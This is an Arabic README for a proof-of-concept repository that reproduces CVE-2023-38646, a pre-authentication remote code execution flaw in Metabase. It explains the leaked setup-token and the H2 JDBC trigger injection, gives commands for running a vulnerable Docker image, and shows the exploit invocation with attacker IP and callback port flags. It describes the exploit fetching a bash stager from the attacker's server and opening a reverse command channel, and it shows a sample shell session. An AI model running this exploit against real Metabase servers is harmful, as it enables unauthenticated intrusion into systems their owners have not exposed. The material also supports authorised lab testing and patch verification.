
يحتوي المستودع على PoC وخطوات إعادة إنتاج الثغرة cve 2023-38646
cd ~/metabase-poc cat > README.md << 'EOF'
درجة الخطورة CVSS 9.8. تُعرّض إصدارات Metabase الأقدم من 0.46.6.1 / 1.46.6.1 (والفروع الأقدم المكافئة) ثغرة RCE قبل المصادقة عبر نقطة النهاية /api/setup/validate، التي صُممت للتحقق من تفاصيل اتصال قاعدة البيانات أثناء الإعداد الأولي، لكن يمكن الوصول إليها دون مصادقة حتى بعد اكتمال الإعداد بالفعل.
تقبل نقطة النهاية حمولة اتصال بقاعدة البيانات، وعند تحديد engine: h2 مع سلسلة اتصال JDBC مصنوعة بعناية، تسمح بتضمين كود JavaScript تعسفي عبر صيغة CREATE TRIGGER ... AS $$//javascript الخاصة بـ H2. يُنفَّذ جسم المُشغِّل وقت التحقق، مما يمنح المهاجم تنفيذ JavaScript داخل JVM — وهو ما يتصاعد بسهولة إلى تنفيذ أوامر نظام التشغيل عبر java.lang.Runtime.getRuntime().exec().
المشكلة الأساسية هي أن محرك قاعدة بيانات H2 يثق بالكود المضمّن في سلسلة الاتصال كجزء من «التحقق» من مصدر البيانات، بالإضافة إلى كشف Metabase لمسار التحقق هذا قبل المصادقة.
metabase/metabase:v0.46.6requests وtermcolorشغّل نسخة Metabase القابلة للاستغلال:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # wait for "Metabase Initialization COMPLETE"
ثبّت تبعيات الاستغلال:
pip3 install requests termcolor
/api/session/properties يسرّب setup-token مصممًا لحراسة تدفق الإعداد الأولي لمرة واحدة، لكنه يظل صالحًا وقابلًا للاستخدام حتى بعد اكتمال الإعداد.java.lang.Runtime.getRuntime().exec() لجلب سكربت bash مرحلي (stager) من خادم HTTP الخاص بالمهاجم وإعادة توجيه مخرجات الأوامر عبر مستمع TCP خام، مشفرة بـ base64.python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — عنوان IP لاستدعاء المهاجم (بوابة جسر Docker عندما يكون الهدف حاوية محلية، مثل 172.17.0.1)-p — المنفذ الذي تعود عليه قناة البيانات العكسية-P — منفذ خادم HTTP المحلي الذي يقدّم سكربت المرحلة-u — عنوان Metabase الأساسي للهدفبمجرد أن يؤكد الاستدعاء قبل المصادقة قابلية الاستغلال، يُفتح موجه تفاعلي metabase_shell >.
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
تم تأكيد تنفيذ الأوامر بحساب خدمة metabase — قبل المصادقة، دون الحاجة إلى أي بيانات اعتماد. تنبع الخطورة من ثغرة RCE قابلة للوصول عبر الشبكة بدون أي مصادقة، وليس من مستوى صلاحيات القشرة الناتجة.
تم إصلاحها في Metabase 0.46.6.1 / 1.46.6.1 والإصدارات الأحدث — تتطلب نقطة النهاية /api/setup/validate الآن أن يكون الإعداد غير مكتمل فعلًا، ويتم إبطال توكنات الإعداد بمجرد انتهاء الإعداد الأولي.
للاستخدام المخبري المعزول فقط. لا تشغّله ضد نسخ Metabase التي لا تملكها أو ليس لديك إذن صريح لاختبارها.